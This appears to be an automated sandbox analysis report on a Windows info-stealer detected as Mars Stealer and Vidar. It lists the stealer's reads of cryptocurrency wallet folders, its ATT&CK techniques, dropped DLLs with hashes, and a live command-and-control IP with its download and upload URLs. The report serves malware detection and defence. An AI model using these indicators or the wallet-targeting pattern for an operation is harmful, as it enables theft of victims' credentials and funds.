Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IrAr85Qv7X.exe PID: 4944, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.IrAr85Qv7X.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.IrAr85Qv7X.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IrAr85Qv7X.exe PID: 4944, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	224 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IrAr85Qv7X.exe	96%	ReversingLabs	Win32.Trojan.MarsStealer
IrAr85Qv7X.exe	71%	Virustotal		Browse
IrAr85Qv7X.exe	100%	Avira	TR/Crypt.XPACK.Gen
IrAr85Qv7X.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs
C:\ProgramData\sqlite3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://support.mozilla.org/products/firefox	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://104.194.151.11/sqlite3.dll	100%	Avira URL Cloud	malware
http://104.194.151.11/sqlite3.dll9y	0%	Avira URL Cloud	safe
http://104.194.151.11/nss3.dll	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://104.194.151.11/softokn3.dll	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://104.194.151.11/softokn3.dll	0%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://104.194.151.11/sqlite3.dll	0%	Virustotal		Browse
http://104.194.151.11/nss3.dll	0%	Virustotal		Browse
http://104.194.151.11/msvcp140.dll?x	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://104.194.151.11/msvcp140.dll	100%	Avira URL Cloud	malware
http://104.194.151.11/	0%	Avira URL Cloud	safe
http://104.194.151.11/freebl3.dll	100%	Avira URL Cloud	malware
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://104.194.151.11/AP.php	100%	Avira URL Cloud	malware
http://104.194.151.11/vcruntime140.dll	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://104.194.151.11/sqlite3.dlll	0%	Avira URL Cloud	safe
http://104.194.151.11/msvcp140.dll	0%	Virustotal		Browse
http://104.194.151.11/sqlite3.dll3y	0%	Avira URL Cloud	safe
http://104.194.151.11/vcruntime140.dll	0%	Virustotal		Browse
http://104.194.151.11/	0%	Virustotal		Browse
http://104.194.151.11/mozglue.dll	100%	Avira URL Cloud	malware
http://104.194.151.11/sqlite3.dll)x	0%	Avira URL Cloud	safe
http://104.194.151.11/sqlite3.dlliy	0%	Avira URL Cloud	safe
http://104.194.151.11/mozglue.dll	0%	Virustotal		Browse
http://104.194.151.11/AP.php	0%	Virustotal		Browse
http://104.194.151.11/freebl3.dll	0%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://104.194.151.11/sqlite3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/nss3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/softokn3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/msvcp140.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/AP.php	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/freebl3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/vcruntime140.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/mozglue.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	IrAr85Qv7X.exe, 00000000.00000003.1712635726.00000000093FF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/sqlite3.dll9y	IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com0	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	IrAr85Qv7X.exe, 00000000.00000003.1677850523.00000000007C9000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1724234947.00000000096E6000.00000004.00000020.00020000.00000000.sdmp, V3E3OP8Q.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	IrAr85Qv7X.exe, 00000000.00000003.1677850523.00000000007C9000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1724234947.00000000096E6000.00000004.00000020.00020000.00000000.sdmp, V3E3OP8Q.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IrAr85Qv7X.exe, 00000000.00000003.1712635726.00000000093FF000.00000004.00000020.00020000.00000000.sdmp, IrAr85Qv7X.exe, 00000000.00000002.1724489793.000000000A127000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefox	IrAr85Qv7X.exe, 00000000.00000002.1724489793.000000000A127000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/msvcp140.dll?x	IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	V3E3OP8Q.0.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/	IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/sqlite3.dlll	IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.194.151.11/sqlite3.dll3y	IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	V3E3OP8Q.0.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/sqlite3.dll)x	IrAr85Qv7X.exe, 00000000.00000002.1720693274.0000000000779000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	IrAr85Qv7X.exe, 00000000.00000003.1678512613.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, IW479RIW.0.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/sqlite3.dlliy	IrAr85Qv7X.exe, 00000000.00000003.1665516930.000000000077F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.194.151.11	unknown	United States		53667	PONYNETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1498390
Start date and time:	2024-08-24 12:21:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	IrAr85Qv7X.exe renamed because original name is a hash value
Original Sample Name:	52e9f55d274e2ee01959fe2d8297a927.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/24@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 62 Number of non-executed functions: 30
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:21:53	API Interceptor	1x Sleep call for process: IrAr85Qv7X.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.194.151.11	8BQ2v9glrG.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	104.194.151.11/AP.php
104.194.151.11	BBiIn5gqhd.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	104.194.151.11/AP.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PONYNETUS	8BQ2v9glrG.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	104.194.151.11
	BBiIn5gqhd.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	104.194.151.11
	hDlOQhHBlY.exe	Get hash	malicious	Unknown	Browse	107.189.8.238
	Y5H9gLDqkq.exe	Get hash	malicious	Unknown	Browse	199.195.250.165
	ExeFile (317).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (360).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (356).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (22).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (226).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (145).exe	Get hash	malicious	Emotet	Browse	209.141.54.221

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	8BQ2v9glrG.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	BBiIn5gqhd.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	Uin5FyPXbS.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	WTsvUl9X8N.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	DZ1x3hqhbe.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	4bVsmYiuXy.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	PmX1jHdUnS.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	INV_34897003.pif.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	cBMUYyAn60.exe	Get hash	malicious	Oski Stealer, Vidar	Browse

Created / dropped Files

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 8BQ2v9glrG.exe, Detection: malicious, Browse Filename: BBiIn5gqhd.exe, Detection: malicious, Browse Filename: Uin5FyPXbS.exe, Detection: malicious, Browse Filename: WTsvUl9X8N.exe, Detection: malicious, Browse Filename: DZ1x3hqhbe.exe, Detection: malicious, Browse Filename: 4bVsmYiuXy.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe, Detection: malicious, Browse Filename: PmX1jHdUnS.exe, Detection: malicious, Browse Filename: INV_34897003.pif.exe, Detection: malicious, Browse Filename: cBMUYyAn60.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
